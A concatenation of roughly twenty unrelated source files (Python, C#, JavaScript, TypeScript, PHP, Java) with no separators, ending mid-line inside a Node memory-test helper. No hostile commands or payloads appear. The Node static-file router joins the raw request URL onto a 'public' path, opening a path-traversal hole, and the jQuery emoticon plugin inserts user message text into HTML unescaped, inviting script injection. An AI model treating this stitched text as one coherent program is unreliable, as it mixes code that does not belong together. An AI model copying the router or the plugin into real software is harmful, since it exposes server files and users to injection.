# Maildir repository support # Copyright (C) 2002-2015 John Goerzen & contributors # <[email protected]> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from offlineimap.repository.Maildir import MaildirRepository from offlineimap.folder.GmailMaildir import GmailMaildirFolder class GmailMaildirRepository(MaildirRepository): def __init__(self, reposname, account): """Initialize a MaildirRepository object. Takes a path name to the directory holding all the Maildir directories.""" super(GmailMaildirRepository, self).__init__(reposname, account) def getfoldertype(self): return GmailMaildirFolder
using System; using System.Collections.Generic; using System.Linq; using Foundation; using UIKit; namespace MarkdownSharp.Sample.Forms.iOS { [Register("AppDelegate")] public partial class AppDelegate : global::Xamarin.Forms.Platform.iOS.FormsApplicationDelegate { public override bool FinishedLaunching(UIApplication app, NSDictionary options) { global::Xamarin.Forms.Forms.Init(); LoadApplication(new App()); return base.FinishedLaunching(app, options); } } }
#-*- encoding: utf-8 -*- ''' Simulate finite repeated symmetric matrix game. Copyright (c) 2015 @myuuuuun Contest - imperfect private monitoring2 ''' import sys sys.path.append('../') sys.path.append('../user_strategies') import numpy as np import pandas as pd import play as pl from kandori import * np.set_printoptions(precision=3) if __name__ == '__main__': payoff = np.array([[4, 0], [5, 2]]) seed = 2822 rs = np.random.RandomState(seed) # 第1期は確率1で来るものとする discount_v = 0.97 ts_length = rs.geometric(p=1-discount_v, size=1000) # 「相手の」シグナルが協調か攻撃かを(ノイズ付きで)返す def private_signal(actions, random_state): pattern = [[0, 0], [0, 1], [1, 0], [1, 1]] # 例えば実際の行動が(0, 1)なら、シグナルは(1, 0)である可能性が最も高い signal_probs = [[.9, .02, .02, .06], [.02, .06, .9, .02], [.02, .9, .06, .02], [.06, .02, .02, .9]] p = random_state.uniform() if actions[0] == 0 and actions[1] == 0: return [0, 0] if p < 0.9 else [0, 1] if p < 0.92 else [1, 0] if p < 0.94 else [1, 1] elif actions[0] == 0 and actions[1] == 1: return [1, 0] if p < 0.9 else [0, 0] if p < 0.92 else [1, 1] if p < 0.94 else [0, 1] elif actions[0] == 1 and actions[1] == 0: return [0, 1] if p < 0.9 else [1, 1] if p < 0.92 else [0, 0] if p < 0.94 else [1, 0] elif actions[0] == 1 and actions[1] == 1: return [1, 1] if p < 0.9 else [1, 0] if p < 0.92 else [0, 1] if p < 0.94 else [0, 0] else: raise ValueError strategies = [Strategy1, Strategy2, Strategy3, Strategy4, Strategy5, Strategy6, Strategy7, Strategy8, Strategy9, Strategy10, Strategy11, Strategy12, Strategy13, Strategy14, Strategy15, Strategy16, Strategy17, Strategy18, Strategy19, Strategy20, Strategy21, Strategy22, Strategy23, Strategy24] game = pl.RepeatedMatrixGame(payoff, strategies, signal=private_signal, ts_length=ts_length, repeat=1000) game.play(mtype="private", random_seed=seed, record=True)
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AcadTestRunner { internal class TestExecutionResult { public TestExecutionResult(int exitCode, IReadOnlyCollection<string> output) { ExitCode = exitCode; Output = output; } public int ExitCode { get; private set; } public IReadOnlyCollection<string> Output { get; private set; } } }
export const SOME_MUTATION = 'SOME_MUTATION' export const LOADING = 'LOADING' export const CHANGE_TABS_ACTIVE = 'CHANGE_TABS_ACTIVE' export const CHANGE_TABS_ACTIVE1 = 'CHANGE_TABS_ACTIVE1' // 学校管理 export const FETCH_SCHOOL_LIST = 'FETCH_SCHOOL_LIST' // 宿舍管理 export const FETCH_DORMITORY_LIST = 'FETCH_DORMITORY_LIST' // 优惠券 export const FETCH_COUPON_LIST = 'FETCH_COUPON_LIST' export const FETCH_GRANT_COUPON_LIST = 'FETCH_GRANT_COUPON_LIST' // 活动 export const FETCH_ACTIVITY_LIST = 'FETCH_ACTIVITY_LIST' export const FETCH_TEMPLATE_LIST = 'FETCH_TEMPLATE_LIST' export const FETCH_TRIGGER1_OPTIONS = 'FETCH_TRIGGER1_OPTIONS' export const FETCH_ACTIVITY_COUPON = 'FETCH_ACTIVITY_COUPON' export const FETCH_TPL_PARAM1 = 'FETCH_TPL_PARAM1' export const FETCH_TPL_PARAM3 = 'FETCH_TPL_PARAM3' // 提现管理 export const FETCH_USER_CASH = 'FETCH_USER_CASH' export const FETCH_MERCH_CASH = 'FETCH_MERCH_CASH' // 审核管理 export const FETCH_EXPRESS_LIST = 'FETCH_EXPRESS_LIST'
/** * Copyright (c) 2017 ~ present NAVER Corp. * billboard.js project is licensed under the MIT license */ import {isArray, isObject} from "../../module/util"; export default { /** * Get and set x values for the chart. * @function x * @instance * @memberof Chart * @param {Array} x If x is given, x values of every target will be updated. If no argument is given, current x values will be returned as an Object whose keys are the target ids. * @returns {object} xs * @example * // Get current x values * chart.x(); * * // Update x values for all targets * chart.x([100, 200, 300, 400, ...]); */ x(x?: number[]): { [key: string] : number[] } { const $$ = this.internal; const {axis, data} = $$; const isCategorized = axis.isCustomX() && axis.isCategorized(); if (isArray(x)) { if (isCategorized) { this.categories(x); } else { $$.updateTargetX(data.targets, x); $$.redraw({ withUpdateOrgXDomain: true, withUpdateXDomain: true }); } } return isCategorized ? this.categories() : data.xs; }, /** * Get and set x values for the chart. * @function xs * @instance * @memberof Chart * @param {Array} xs If xs is given, specified target's x values will be updated. If no argument is given, current x values will be returned as an Object whose keys are the target ids. * @returns {object} xs * @example * // Get current x values * chart.xs(); * * // Update x values for all targets * chart.xs({ * data1: [10, 20, 30, 40, ...], * data2: [100, 200, 300, 400, ...] * }); */ xs(xs?: { [key: string] : number[] }): { [key: string] : number[] } { const $$ = this.internal; if (isObject(xs)) { $$.updateTargetXs($$.data.targets, xs); $$.redraw({ withUpdateOrgXDomain: true, withUpdateXDomain: true }); } return $$.data.xs; } };
from __future__ import unicode_literals import codecs import glob import os from django.core.management.base import BaseCommand, CommandError from django.core.management.utils import find_command, popen_wrapper from django.utils._os import npath, upath def has_bom(fn): with open(fn, 'rb') as f: sample = f.read(4) return (sample[:3] == b'\xef\xbb\xbf' or sample.startswith((codecs.BOM_UTF16_LE, codecs.BOM_UTF16_BE))) def is_writable(path): # Known side effect: updating file access/modified time to current time if # it is writable. try: with open(path, 'a'): os.utime(path, None) except (IOError, OSError): return False return True class Command(BaseCommand): help = 'Compiles .po files to .mo files for use with builtin gettext support.' requires_system_checks = False leave_locale_alone = True program = 'msgfmt' program_options = ['--check-format'] def add_arguments(self, parser): parser.add_argument('--locale', '-l', dest='locale', action='append', default=[], help='Locale(s) to process (e.g. de_AT). Default is to process all. ' 'Can be used multiple times.') parser.add_argument('--exclude', '-x', dest='exclude', action='append', default=[], help='Locales to exclude. Default is none. Can be used multiple times.') parser.add_argument('--use-fuzzy', '-f', dest='fuzzy', action='store_true', default=False, help='Use fuzzy translations.') def handle(self, **options): locale = options.get('locale') exclude = options.get('exclude') self.verbosity = int(options.get('verbosity')) if options.get('fuzzy'): self.program_options = self.program_options + ['-f'] if find_command(self.program) is None: raise CommandError("Can't find %s. Make sure you have GNU gettext " "tools 0.15 or newer installed." % self.program) basedirs = [os.path.join('conf', 'locale'), 'locale'] if os.environ.get('DJANGO_SETTINGS_MODULE'): from django.conf import settings basedirs.extend(upath(path) for path in settings.LOCALE_PATHS) # Walk entire tree, looking for locale directories for dirpath, dirnames, filenames in os.walk('.', topdown=True): for dirname in dirnames: if dirname == 'locale': basedirs.append(os.path.join(dirpath, dirname)) # Gather existing directories. basedirs = set(map(os.path.abspath, filter(os.path.isdir, basedirs))) if not basedirs: raise CommandError("This script should be run from the Django Git " "checkout or your project or app tree, or with " "the settings module specified.") # Build locale list all_locales = [] for basedir in basedirs: locale_dirs = filter(os.path.isdir, glob.glob('%s/*' % basedir)) all_locales.extend(map(os.path.basename, locale_dirs)) # Account for excluded locales locales = locale or all_locales locales = set(locales) - set(exclude) for basedir in basedirs: if locales: dirs = [os.path.join(basedir, l, 'LC_MESSAGES') for l in locales] else: dirs = [basedir] locations = [] for ldir in dirs: for dirpath, dirnames, filenames in os.walk(ldir): locations.extend((dirpath, f) for f in filenames if f.endswith('.po')) if locations: self.compile_messages(locations) def compile_messages(self, locations): """ Locations is a list of tuples: [(directory, file), ...] """ for i, (dirpath, f) in enumerate(locations): if self.verbosity > 0: self.stdout.write('processing file %s in %s\n' % (f, dirpath)) po_path = os.path.join(dirpath, f) if has_bom(po_path): raise CommandError("The %s file has a BOM (Byte Order Mark). " "Django only supports .po files encoded in " "UTF-8 and without any BOM." % po_path) base_path = os.path.splitext(po_path)[0] # Check writability on first location if i == 0 and not is_writable(npath(base_path + '.mo')): self.stderr.write("The po files under %s are in a seemingly not writable location. " "mo files will not be updated/created." % dirpath) return args = [self.program] + self.program_options + ['-o', npath(base_path + '.mo'), npath(base_path + '.po')] output, errors, status = popen_wrapper(args) if status: if errors: msg = "Execution of %s failed: %s" % (self.program, errors) else: msg = "Execution of %s failed" % self.program raise CommandError(msg)
''' File name: PCM2Wav.py Author: Roel Postelmans Date created: 2017 ''' # Avoid integer division in python 2 from __future__ import division, print_function import struct import wave from .PCM.logic import saleae as _saleae from .PCM.logic import sigrok as _sigrok class PCM2Wav(object): ''' PCM data to Wav converter ''' saleae = _saleae sigrok = _sigrok analyzers = saleae, sigrok sample_freq = 48000 sample_width = 2 channels = 2 chunk_size = 256 __formats = {1: 'c', 2: 'h'} __sample_rates = 16000, 32000, 44100, 48000, 96000, 128000 def __init__(self, PCM_parser, csv_file, dst): """ PCM2Wav initialiser """ self.data = PCM_parser(csv_file) self._generate(dst) def _generate(self, dst): """ The actual conversion """ generating = True wav_file = wave.open(dst, 'wb') wav_file.setnchannels(self.channels) wav_file.setsampwidth(self.sample_width) sample_rate = self.data.determine_sample_rate() frame_rate = min(self.__sample_rates, key=lambda x: abs(x-sample_rate)) wav_file.setframerate(frame_rate) while generating: try: channels = [self.data.pop_data()[1] for DISCARD in range(0, self.chunk_size)] except EOFError: generating = False self.data.close() frame = self._calc_frame(channels) wav_file.writeframes(frame) wav_file.close() def _chr(self, arg): if self.sample_width == 1: return chr(arg) return arg def _sample_2_bin(self, sample): return struct.pack(self.__formats[self.sample_width], self._chr(int(sample))) def _calc_frame(self, channels_data): return b"".join(self._sample_2_bin(sample) for sample in channels_data)
# $Filename$ # $Authors$ # Last Changed: $Date$ $Committer$ $Revision-Id$ # Copyright (c) 2003-2011, German Aerospace Center (DLR) # All rights reserved. # # #Redistribution and use in source and binary forms, with or without #modification, are permitted provided that the following conditions are #met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the # distribution. # # * Neither the name of the German Aerospace Center nor the names of # its contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT #LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR #A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT #OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, #SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT #LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, #DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY #THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT #(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE #OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ The standard hello world example. """ import logging from datafinder.gui.user import script_api from datafinder.script_api.error import ItemSupportError from datafinder.script_api.repository import setWorkingRepository from datafinder.script_api.item.item_support import createLeaf __version__ = "$Revision-Id:$" _log = logging.getLogger("script") umr = script_api.unmanagedRepositoryDescription() if not umr is None: setWorkingRepository(umr) _log.info(script_api.currentSelection()) _log.info(script_api.currentCollection()) _log.info("Creating test file test.txt..") script_api.lock(["/C:"]) try: createLeaf("/C:/test.txt", dict()) except ItemSupportError, error: _log.error(error.message) finally: script_api.unlock(["/C:"]) script_api.selectItem("/C:/test.txt") else: _log.error("Cannot access unmanaged repository.")
package com.coremedia.iso.boxes; import com.googlecode.mp4parser.boxes.BoxWriteReadBase; import java.util.Collections; import java.util.Map; /** * Created by sannies on 26.05.13. */ public class ItemProtectionBoxTest extends BoxWriteReadBase<ItemProtectionBox> { @Override public Class<ItemProtectionBox> getBoxUnderTest() { return ItemProtectionBox.class; } @Override public void setupProperties(Map<String, Object> addPropsHere, ItemProtectionBox box) { addPropsHere.put("boxes", Collections.singletonList(new FreeBox(1000))); } }
<?php // Do not allow direct access! if ( ! defined( 'ABSPATH' ) ) { die( 'Forbidden' ); } add_thickbox(); class One_And_One_Site_Selection_Step { static public function get_site_selection() { ?> <form action="<?php echo esc_url( add_query_arg( array( 'setup_action' => 'choose_appearance' ) ) ); ?>" method="post"> <?php wp_nonce_field( 'choose_appearance' ) ?> <div class="wrap"> <?php include_once( One_And_One_Wizard::get_views_dir_path() . 'setup-wizard-header.php' ); One_And_One_Wizard_Header::get_wizard_header(1); ?> <h3 class="clear"><?php esc_html_e( 'Step 1 - Selecting website type', '1and1-wordpress-wizard' ); ?></h3> <p><?php esc_html_e( 'Here you can select the desired website type.', '1and1-wordpress-wizard' ); ?></p> <br/> <div class="oneandone-site-type-browser"> <?php include_once( One_And_One_Wizard::get_inc_dir_path() . 'site-types-catalog.php' ); $site_type_catalog = new One_And_One_Site_Type_Catalog(); $site_types = $site_type_catalog->get_all_site_types(); if ( $site_types ) { foreach ( $site_types as $site_type ) { ?> <div class="oneandone-site-selection"> <div class="oneandone-site-type-picture"> <img src="<?php echo $site_type->get_pic_url() ?>" alt=""/> </div> <span class="oneandone-site-type-description"><h3><?php echo $site_type->get_name(); ?></h3><p><?php echo $site_type->get_description(); ?></p></span> <h3 class="oneandone-site-type-name"><?php echo $site_type->get_name(); ?></h3> <div class="oneandone-site-type-actions"> <input type="submit" name="sitetype[<?php echo $site_type->get_id(); ?>]" value="<?php esc_attr_e( 'Select', '1and1-wordpress-wizard' ); ?>" class="button button-primary"/> </div> </div> <?php } } else { echo '<strong style="font-size:14px;">'; esc_html_e( "The website types couldn't get retrieved. Please refresh the page.", '1and1-wordpress-wizard' ); echo '</strong>'; } ?> </div> <br class="clear"/> </div> </form> <script> jQuery(document).ready(function($) { $('.oneandone-site-type-browser').on( 'click' , '.oneandone-site-selection', function() { $( '.button-primary', this ).trigger('click'); }); $('.oneandone-site-type-browser').on( 'click' , '.button-primary', function(evt) { evt.stopPropagation(); }); }); </script> <?php } }
/*! * lv.emotions v1.0.0 * Criado para utilizar emoticons em suas páginas web * https://github.com/LucasViniciusPereira * License : MIT * Author : Lucas Vinicius Pereira (http://lucasvinicius.eti.br/) */ (function ($) { $.fn.emotions = function (options) { // Definição dos valores padrões var arrayEmotions = { "0": "Undefined", "1": "o:)", "2": ":3", "3": "o.O", "4": ":'(", "5": "3:)", "6": ":(", "7": ":O", "8": "88)", "9": ":D", "10": "s2", "11": "<3", "12": "-_^", "13": ":*", "14": ":v", "15": ":}~", "16": "´x_x´", "17": "8|", "18": ":p", "19": ":/", "20": "&gt:Z", "21": ";[" }; var nameEmotions = ["undefined", "angel", "smiling", "confused", "cry", "devil", "frown", "wonder", "gratters", "grin", "love", "heart", "boredom", "kiss", "shame", "funny", "squint", "sunglasses", "tongue", "unsure", "sleep", "nervous"]; var defaults = { 'path': 'img-emotions/', 'extension': '.gif', 'campoMensagemID': '#txtMensagem', 'btnEnviaMensagemID': '#btnEnviarMensagem', 'listaEmotionsView': '#lista-emotions', 'exibeMensagemView': '#showHere', 'elementoRetorno': "p" }; // Geração das settings do seu plugin var settings = $.extend({}, defaults, options); /* * Monta a lista de emotions para o usuário clicar no emotion */ $.fn.montaListaEmotionView = function () { var lista = ""; $.each(nameEmotions, function (key, value) { if (value != 'undefined') lista = lista + "<a onclick='$(this).recuperarEmotion(" + key + ")'>" + $(this).montaImagemEmotion(value) + '</a>'; }); $(settings.listaEmotionsView).prepend(lista); }; /* * Ao clicar no emotion ele recupera em qual elemento foi clicado * keyEmotion => index do emotion */ $.fn.recuperarEmotion = function (keyEmotion) { $.each(arrayEmotions, function (key, value) { if (parseInt(key) == keyEmotion) element = value; }); $(settings.campoMensagemID).val($(settings.campoMensagemID).val() + ' ' + element + ' '); }; /* * Monta a imagem do emotion e retorna o html *_name => Qual o nome do arquivo da imagem */ $.fn.montaImagemEmotion = function (_name) { return "<img class='img-emotion' src='" + settings.path + _name + settings.extension + "' />"; } /* * Retorna a mensagem com os emotion *message => Parametro da mensagem */ $.fn.retornaMensagemEmotion = function (message) { //Remove os espaços e separa em array textoDigitado = message.trimLeft().trimRight().toString().split(" "); textoCompleto = ""; //Substitui o carecter digitado pelo emotion for (i = 0; i < textoDigitado.length; i++) { $.each(arrayEmotions, function (key, value) { if (textoDigitado[i] == value) { textoDigitado[i] = $(this).montaImagemEmotion(nameEmotions[key]); } }); } //Imprime todo o texto digitado $.each(textoDigitado, function (key, value) { textoCompleto = textoCompleto + ' ' + value; }); return textoCompleto; } //Init method $(this).montaListaEmotionView(); }; })(jQuery);
# Much of this code was built by Agile Scientific. The original can be found here: # https://github.com/agile-geoscience/notebooks/blob/master/Query_the_RPC.ipynb # It's licensed under the CC Attribution 4.0 import requests import pandas as pd class RPC(object): def __init__(self): pass def _query_ssw(self, filters, properties, options): base_url = "http://www.subsurfwiki.org/api.php" q = "action=ask&query=[[RPC:%2B]]" q += ''.join(filters) if filters else '' q += '|%3F' + '|%3F'.join(properties) if properties else '' q += '|' + '|'.join(options) if options else '' q += '&format=json' return requests.get(base_url, params=q) def _get_formats(self, response): formats = {} for item in response.json()['query']['printrequests']: if item[u'mode'] == 1: formats[item[u'label']] = item[u'typeid'].lstrip('_') return formats def _build_dataframe(self, response): """ Takes the response of a query and returns a pandas dataframe containing the results. """ try: s = list(response.json()['query']['results'].keys()) except Exception as e: raise e samples = [i[4:] for i in s] df = pd.DataFrame(samples) # We'll need to know the formats of the columns. formats = self._get_formats(response) properties = formats.keys() # Now traverse the JSON and build the DataFrame. for prop in properties: temp = [] for row in list(s): p = response.json()['query']['results'][row]['printouts'] if p[prop]: if formats[prop] == 'qty': # Quantity, number + unit temp.append(p[prop][0]['value']) elif formats[prop] == 'wpg': # Wiki page temp.append(p[prop][0]['fulltext']) else: # Anything else: num, txt, tem, etc. temp.append(p[prop][0]) else: temp.append(None) df[prop] = temp df = df.set_index(0) df.index.name = None return df def query(self, filters=None, properties=None, options=None): r = self._query_ssw(filters, properties, options) if r.status_code == 200: return self._build_dataframe(r) else: print("Something went wrong.")
""" LLDB Formatters for LLVM data types. Load into LLDB with 'command script import /path/to/lldbDataFormatters.py' """ def __lldb_init_module(debugger, internal_dict): debugger.HandleCommand('type category define -e llvm -l c++') debugger.HandleCommand('type synthetic add -w llvm ' '-l lldbDataFormatters.SmallVectorSynthProvider ' '-x "^llvm::SmallVectorImpl<.+>$"') debugger.HandleCommand('type synthetic add -w llvm ' '-l lldbDataFormatters.SmallVectorSynthProvider ' '-x "^llvm::SmallVector<.+,.+>$"') debugger.HandleCommand('type synthetic add -w llvm ' '-l lldbDataFormatters.ArrayRefSynthProvider ' '-x "^llvm::ArrayRef<.+>$"') debugger.HandleCommand('type summary add -w llvm ' '-F lldbDataFormatters.OptionalSummaryProvider ' '-x "^llvm::Optional<.+>$"') # Pretty printer for llvm::SmallVector/llvm::SmallVectorImpl class SmallVectorSynthProvider: def __init__(self, valobj, dict): self.valobj = valobj; self.update() # initialize this provider def num_children(self): begin = self.begin.GetValueAsUnsigned(0) end = self.end.GetValueAsUnsigned(0) return (end - begin)/self.type_size def get_child_index(self, name): try: return int(name.lstrip('[').rstrip(']')) except: return -1; def get_child_at_index(self, index): # Do bounds checking. if index < 0: return None if index >= self.num_children(): return None; offset = index * self.type_size return self.begin.CreateChildAtOffset('['+str(index)+']', offset, self.data_type) def update(self): self.begin = self.valobj.GetChildMemberWithName('BeginX') self.end = self.valobj.GetChildMemberWithName('EndX') the_type = self.valobj.GetType() # If this is a reference type we have to dereference it to get to the # template parameter. if the_type.IsReferenceType(): the_type = the_type.GetDereferencedType() self.data_type = the_type.GetTemplateArgumentType(0) self.type_size = self.data_type.GetByteSize() assert self.type_size != 0 class ArrayRefSynthProvider: """ Provider for llvm::ArrayRef """ def __init__(self, valobj, dict): self.valobj = valobj; self.update() # initialize this provider def num_children(self): return self.length def get_child_index(self, name): try: return int(name.lstrip('[').rstrip(']')) except: return -1; def get_child_at_index(self, index): if index < 0 or index >= self.num_children(): return None; offset = index * self.type_size return self.data.CreateChildAtOffset('[' + str(index) + ']', offset, self.data_type) def update(self): self.data = self.valobj.GetChildMemberWithName('Data') length_obj = self.valobj.GetChildMemberWithName('Length') self.length = length_obj.GetValueAsUnsigned(0) self.data_type = self.data.GetType().GetPointeeType() self.type_size = self.data_type.GetByteSize() assert self.type_size != 0 def OptionalSummaryProvider(valobj, internal_dict): if not valobj.GetChildMemberWithName('hasVal').GetValueAsUnsigned(0): return 'None' underlying_type = valobj.GetType().GetTemplateArgumentType(0) storage = valobj.GetChildMemberWithName('storage') return str(storage.Cast(underlying_type))
# -*- coding: utf-8 -*- # # setup.py # # This file is part of NEST. # # Copyright (C) 2004 The NEST Initiative # # NEST is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # NEST is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with NEST. If not, see <http://www.gnu.org/licenses/>. # NESTServerClient --- A Client for NEST Server from distutils.core import setup setup(name='NESTServerClient', version='0.1', description=('NESTServerClient sends JSON requests to NEST Server.'), author='Sebastian Spreizer', author_email='[email protected]', url='https://www.nest-simulator.org', license='GNU Public License v2 or later', packages=['NESTServerClient', 'NESTServerClient.examples'], package_dir={'NESTServerClient': ''} )
import ujson import listenbrainz.db.follow_list as db_follow_list import listenbrainz.db.user as db_user from flask import Blueprint, request, jsonify from listenbrainz.webserver.decorators import crossdomain from listenbrainz.webserver.rate_limiter import ratelimit from listenbrainz.webserver.views.api import _validate_auth_header from listenbrainz.webserver.views.api_tools import log_raise_400 from listenbrainz.webserver.errors import APINotFound, APIForbidden, APIUnauthorized from listenbrainz.db.exceptions import DatabaseException follow_api_bp = Blueprint('follow_api_v1', __name__) @follow_api_bp.route("/save", methods=["POST", "OPTIONS"]) @crossdomain(headers="Authorization, Content-Type") @ratelimit() def save_list(): creator = _validate_auth_header() raw_data = request.get_data() try: data = ujson.loads(raw_data.decode("utf-8")) except ValueError as e: log_raise_400("Cannot parse JSON document: %s" % str(e), raw_data) try: list_name = data['name'] list_id = data['id'] members = data['users'] except KeyError as e: log_raise_400("JSON missing key: %s" % str(e)) members = db_user.validate_usernames(members) if list_id is None: # create a new list try: list_id = db_follow_list.save( name=list_name, creator=creator['id'], members=[member['id'] for member in members], ) except DatabaseException as e: raise APIForbidden("List with same name already exists.") else: # do some validation current_list = db_follow_list.get(list_id) if current_list is None: raise APINotFound("List not found: %d" % list_id) if current_list['creator'] != creator['id']: raise APIUnauthorized("You can only edit your own lists.") # update the old list db_follow_list.update( list_id=list_id, name=list_name, members=[member['id'] for member in members], ) return jsonify({ "code": 200, "message": "it worked!", "list_id": list_id, })
var fs = require("fs"); module.exports.router = function (req, res) { if(req.url === "/") { fs.readFile("public/index.html", { "encoding": "utf8"}, function(err, data) { if(err) { res.writeHead(500); } else { res.write(data); res.end(); } }); } else { fs.readFile("public" + req.url, { "encoding": "utf8"}, function(err, data) { if(err) { res.writeHead(404); } else { res.write(data); } res.end(); }); } };
package com.box.sdk; import com.eclipsesource.json.Json; import com.eclipsesource.json.JsonObject; import com.eclipsesource.json.JsonValue; /** * Filter for matching against a metadata field. */ public class MetadataFieldFilter { private final String field; private final JsonValue value; /** * Create a filter for matching against a string metadata field. * * @param field the field to match against. * @param value the value to match against. */ public MetadataFieldFilter(String field, String value) { this.field = field; this.value = Json.value(value); } /** * Create a filter for matching against a metadata field defined in JSON. * * @param jsonObj the JSON object to construct the filter from. */ public MetadataFieldFilter(JsonObject jsonObj) { this.field = jsonObj.get("field").asString(); this.value = jsonObj.get("value"); } /** * Get the JSON representation of the metadata field filter. * * @return the JSON object representing the filter. */ public JsonObject getJsonObject() { JsonObject obj = new JsonObject(); obj.add("field", this.field); obj.add("value", this.value); return obj; } }
using System.Web.Http; namespace Aranasoft.Cobweb.Http.Validation.Tests.TestableTypes { public class HasControllerInNameController : ApiController { public void Get() {} public void Get(int id) {} public void Post() {} public void Post(int id) {} public void Put() {} public void Put(int id) {} public void Delete() {} public void Delete(int id) {} } }
import numpy as np import os beps_image_folder = os.path.abspath(os.path.join(os.path.realpath(__file__), '../beps_data_gen_images')) def combine_in_out_field_loops(in_vec, out_vec): """ Stack the in-field and out-of-field loops Parameters ---------- in_vec : numpy.ndarray 1d array of in-field values out_vec : numpy.ndarray 1d array of out-of-field values Returns ------- field_mat : numpy.ndarray 2d array of combined in-field and out-of-field vectors """ return np.vstack((in_vec, out_vec)) def build_loop_from_mat(loop_mat, num_steps): """ Parameters ---------- loop_mat num_steps Returns ------- """ return np.vstack((loop_mat[0, :int(num_steps / 4) + 1], loop_mat[1], loop_mat[0, int(num_steps / 4) + 1: int(num_steps / 2)])) def get_noise_vec(num_pts, noise_coeff): """ Calculate a multiplicative noise vector from the `noise_coeff` Parameters ---------- num_pts : uint number of points in the vector noise_coeff : float Noise coefficient that determines the variation in the noise vector Returns ------- noise_vec : numpy.ndarray 1d noise vector array """ return np.ones(num_pts) * (1 + 0.5 * noise_coeff) - np.random.random(num_pts) * noise_coeff
# -*- coding: utf-8 -*- # Copyright (c) 2015, Frappe Technologies and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.model.document import Document class PortalSettings(Document): def add_item(self, item): '''insert new portal menu item if route is not set, or role is different''' exists = [d for d in self.get('menu', []) if d.get('route')==item.get('route')] if exists and item.get('role'): if exists[0].role != item.get('role'): exists[0].role = item.get('role') return True elif not exists: item['enabled'] = 1 self.append('menu', item) return True def reset(self): '''Restore defaults''' self.menu = [] self.sync_menu() def sync_menu(self): '''Sync portal menu items''' dirty = False for item in frappe.get_hooks('portal_menu_items'): if item.get('role') and not frappe.db.exists("Role", item.get('role')): frappe.get_doc({"doctype": "Role", "role_name": item.get('role'), "desk_access": 0}).insert() if self.add_item(item): dirty = True if dirty: self.save() def on_update(self): self.clear_cache() def clear_cache(self): # make js and css # clear web cache (for menus!) from frappe.sessions import clear_cache clear_cache('Guest') from frappe.website.render import clear_cache clear_cache() # clears role based home pages frappe.clear_cache()
import { resolve } from 'path' import { withTempDirectory } from 'source/node/fs/Directory.js' import { run } from 'source/node/run.js' const { info = console.log } = globalThis const runFuncWithExposeGC = async (...funcList) => withTempDirectory( async (pathTemp) => run([ process.execPath, '--expose-gc', // allow `global.gc()` call '--max-old-space-size=32', // limit max memory usage for faster OOM '--eval', `(${funcList.reduce((o, func) => `(${func})(global.gc, ${o})`, 'undefined')})` ], { maxBuffer: 8 * 1024 * 1024, cwd: pathTemp, // generate OOM report under temp path quiet: !__DEV__ }).promise.catch((error) => error), resolve(__dirname, 'temp-gitignore/') ) const createTestFunc = (expectExitCode = 0, ...funcList) => async () => { const { code, signal, stdoutPromise, stderrPromise } = await runFuncWithExposeGC(...funcList) !__DEV__ && info(`STDOUT:\n${await stdoutPromise}\n\nSTDERR:\n${await stderrPromise}`) info(`test done, exit code: ${code}, signal: ${signal}`) if (code === expectExitCode) return info(`STDOUT:\n${await stdoutPromise}\n\nSTDERR:\n${await stderrPromise}`) throw new Error(`exitCode: ${code}, expectExitCode: ${expectExitCode}`) } const commonFunc = (triggerGC) => { const setTimeoutAsync = (wait = 0) => new Promise((resolve) => setTimeout(resolve, wait)) const formatMemory = (value) => `${String(value).padStart(10, ' ')}B` const markMemory = async () => { triggerGC() await setTimeoutAsync(10) triggerGC() const { heapUsed, heapTotal, rss, external } = process.memoryUsage() __DEV__ && console.log([ `heapUsed: ${formatMemory(heapUsed)}`, `heapTotal: ${formatMemory(heapTotal)}`, `rss: ${formatMemory(rss)}`, `external: ${formatMemory(external)}` ].join(' ')) return heapUsed // For the test we only care pure JS Object size } const appendPromiseAdder = (promise, count = 0) => { let index = 0 while (index++ !== count) promise = promise.then((result) => (result + 1)) return promise } const dropOutstandingValue = (valueList, dropCount) => { valueList = [ ...valueList ] while (dropCount !== 0) { dropCount-- let min = Infinity let minIndex = 0 let max = -Infinity let maxIndex = 0 let sum = 0 valueList.forEach((value, index) => { if (value < min) [ min, minIndex ] = [ value, index ] if (value > max) [ max, maxIndex ] = [ value, index ] sum += value }) const avg = sum / valueList.length const dropIndex = (Math.abs(avg - min) > Math.abs(avg - max)) ? minIndex : maxIndex valueList.splice(dropIndex, 1) } return valueList } const verifyPrediction = (prediction = '0±0', value = 0, message) => { if (prediction === 'SKIP') return const [ 